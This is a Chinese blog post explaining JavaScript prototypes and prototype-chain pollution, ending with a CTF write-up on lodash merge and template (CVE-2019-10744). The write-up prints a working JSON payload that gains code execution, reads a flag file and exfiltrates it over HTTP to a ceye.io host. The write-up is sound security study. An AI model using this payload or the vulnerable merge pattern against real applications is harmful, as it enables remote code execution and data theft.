JavaScript 原型链污染
什么是原型
什么是原型语言
只有对象,没有类;对象继承对象,而不是类继承类。
“原型对象”是核心概念。原型对象是新对象的模板,它将自身的属性共享给新对象。一个对象不但可以享有自己创建时和运行时定义的属性,而且可以享有原型对象的属性。
每一个对象都有自己的原型对象,所有对象构成一个树状的层级系统。root节点的顶层对象是一个语言原生的对象,只有它没有原型对象,其他所有对象都直接或间接继承它的属性。
原型语言创建有两个步骤:
- 使用”原型对象”作为”模板”生成新对象 :这个步骤是必要的,这是每个对象出生的唯一方式。以原型为模板创建对象,这也是”原型”(prototype)的原意。
- 初始化内部属性:这一步骤不是必要的。通俗点说,就是,对”复制品”不满意,我们可以”再加工”,使之获得不同于”模板”的”个性”。
对象
1.普通对象:
- 最普通的对象:有proto属性(指向其原型链),没有prototype属性。
- 原型对象(Person.prototype 原型对象还有constructor属性(指向构造函数对象))
1 | //普通对象 |
2.函数对象:
- 凡是通过
new Function()
创建的都是函数对象。
- 拥有
__proto__
、prototype
属性(指向原型对象)
- 如
Function
、Object
、Array
、Date
、String
、RegExp
、自定义函数
1 | function F1(){}; |
Array是函数对象,是Function的实例对象,Array是通过newFunction创建出来的。因为Array是Function的实例,所以Array.__proto__ === Function.prototype
(Date、String、RegExp等同理)
prototype
和__proto__
的关系
JS的哲学是一切皆对象
用stack overflow
上的来讲他们的区别就是:
prototype
is a property of a Function object. It is the prototype of objects constructed by that function.
__proto__
is internal property of an object, pointing to its prototype. Current standards provide an equivalent Object.getPrototypeOf(O) method, though de facto standard__proto__
is quicker.You can find instanceof relationships by comparing a function’s prototype to an object’s
__proto__
chain, and you can break these relationships by changing prototype.
__proto__
是对象的内置属性,所有对象都有,指向他的原型prototype
是函数对象的属性,他是通过函数构造的对象的原型
最高票回答是一句话:
__proto__
is the actual object that is used in the lookup chain to resolve methods, etc.prototype
is the object that is used to build__proto__
when you create an object with new
__proto__
是真正用来查找原型链去获取方法的对象。prototype
是在用new创建对象时用来构建__proto__
的对象
prototype
产生的原因是为了解决js语言出现伊始,创建实例对象时造成资源浪费的问题(参考Javascript继承机制的设计思想)
JavaScript 继承机制的设计思想就是,原型对象的所有属性和方法,都能被实例对象共享。也就是说,如果属性和方法定义在原型上,那么所有实例对象就能共享,不仅节省了内存,还体现了实例对象之间的联系。
JavaScript 规定,每个函数都有一个prototype
属性,指向一个对象。
原型对象的作用,就是定义所有实例对象共享的属性和方法。这也是它被称为原型对象的原因,而实例对象可以视作从原型对象衍生出来的子对象。
constructor
prototype
对象有一个constructor
属性,默认指向prototype
对象所在的构造函数。
由于constructor
属性定义在prototype
对象上面,意味着可以被所有实例对象继承
h
是Dog
的实例对象,但是h
自身没有constructor
属性,该属性是读取原型链上面的Dog.prototype.construtor
属性
constructor
属性的作用是,可以得知某个实例对象,到底是哪一个构造函数产生的
原型对象、构造函数、实例对象之间的关系
原型链
JavaScript 规定,所有对象都有自己的原型对象(prototype)。一方面,任何一个对象,都可以充当其他对象的原型;另一方面,由于原型对象也是对象,所以它也有自己的原型。因此,就会形成一个“原型链”(prototype chain):对象到原型,再到原型的原型……
如果一层层地上溯,所有对象的原型最终都可以上溯到Object.prototype
,即Object
构造函数的prototype
属性。也就是说,所有对象都继承了Object.prototype
的属性。这就是所有对象都有valueOf
和toString
方法的原因,因为这是从Object.prototype
继承的。
而Object.prototype
的原型是null
。null
没有任何属性和方法,也没有自己的原型。原型链的尽头就是null
原型链是实现继承的主要方法。
沿用上面的例子:
一个对象 A的__proto__
属性指向的那个对象B,B就是 A 的原型对象(或者叫父对象),对象 A 可以使用对象 B 中的属性和方法,同时也可以使用对象 B 的 原型对象C 上的属性和方法,以此递归,就是所谓的原型链
(instanceof
运算符返回一个布尔值,表示对象是否为某个构造函数的实例)
再用一张图来说明:
原型链污染
以一个例子来说明:
通过更改sam1.__proto__
的属性,我们从而成功影响了来自同一类的对象sam2
和其父类Object
在一个应用中,如果攻击者控制并修改了一个对象的原型,那么将可以影响所有和这个对象来自同一个类、父祖类的对象。这种攻击方式就是原型链污染。
这里引述phithon的一个例子:
我们利用merge
函数:1
2
3
4
5
6
7
8
9function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}
存在target[key] = source[key]
的键值赋值操作,如果我们试图将key
改为__proto__
,就有可能出现上一个例子的效果
- 尝试一
let o1 = {} let o2 = {a: 1, "__proto__": {b: 2}} merge(o1, o2) console.log(o1.a, o1.b) o3 = {} console.log(o3.b)
很明显,并没有改造成功,这里的__proto__
被视为原型,从而遍历o2
的所有键名
实际上第二个键值操作,系统会处理为o2.__proto__ = {b:2}
。
- 尝试二
let o1 = {} let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}') merge(o1, o2) console.log(o1.a, o1.b) o3 = {} console.log(o3.b)
成功影响了原型链
JSON解析的情况下,__proto__
会被认为是一个真正的“键名”,而不代表“原型”,所以在遍历o2
的时候会存在这个键。
Code-Breaking 2018 Thejs
web界面如下:
设置了两个参数:
引用了jQuery@3.3.1
和select2@4.0.6
,其中jQuery这个版本是存在原型链污染的问题,但是不知道参数的使用机制,于是查看源代码
源码调用了lodash
库,然后查询一番,发现了CVE-2019-10744
,注意到源码中使用了merge
函数:
app.all('/', (req, res) => { let data = req.session.data || {language: [], category: []} if (req.method == 'POST') { data = lodash.merge(data, req.body) req.session.data = data } res.render('index', { language: data.language, category: data.category }) })
之前CVE-2019-10744
曾提及过,lodash的merge
函数存在问题
merge (target, source) foreach property of source if property exists and is an object on both the target and the source merge(target[property], source[property]) else target[property] = source[property]
注意请求的处理方式:data = lodash.merge(data, req.body)
,req.body
既是我们的可控点
重写了app.engine
,注意到引用了lodash.template
1
2
3
4
5
6
7
8
9app.engine('ejs', function (filePath, options, callback) { // define the template engine
fs.readFile(filePath, (err, content) => {
if (err) return callback(new Error(err))
let compiled = lodash.template(content)
let rendered = compiled({...options})
return callback(null, rendered)
})
})
查看template
函数,寻找可控点:
var result = attempt(function() { return Function(importsKeys, sourceURL + 'return ' + source) .apply(undefined, importsValues); });
跟入sourceURL
:
var sourceURL = 'sourceURL' in options ? '//# sourceURL=' + options.sourceURL + '\n' : '';
其中 option 为我们在模版引擎中,渲染的值。这里读取其中的 sourceURL 属性的值,我们就可以通过原型污染,添加一个 sourceURL 属性并控制值,在拼接到 Function 中达到执行 JS 的目的
得到payload:
{"__proto__":{"sourceURL":"xxx\r\nvar require = global.require || global.process.mainModule.constructor._load;var result = require('child_process').execSync('cat /flag_thepr0t0js').toString();var req = require('http').request(`http://httprequest.test.xxxx.ceye.io/${result}`);req.end();\r\n"}}
利用ceye.io
,拿到flag
reference:
http://dmitrysoshnikov.com/ecmascript/javascript-the-core/#constructor
https://juejin.im/post/5bebc6a3e51d4575125a39ca#heading-1
https://www.jianshu.com/p/686b61c4a43d
http://www.sxfda.cn/The-hacker-safe/520.html
https://www.jianshu.com/p/3d03f3e83cf5
https://zhuanlan.zhihu.com/p/22787302
https://smi1e.top/javascript-原型链污染/
https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html
https://wangdoc.com/javascript/oop/prototype.html
https://zhuanlan.zhihu.com/p/73186974
https://cloud.tencent.com/developer/article/1516331
https://www.venustech.com.cn/article/1/9577.html
https://blog.l0ca1.xyz/Code-Breaking
Author: damn1t
Link: http://microvorld.com/2019/11/04/vulnerable/js原型链污染/
Copyright: All articles in this blog are licensed under CC BY-NC-SA 3.0 unless stating additionally.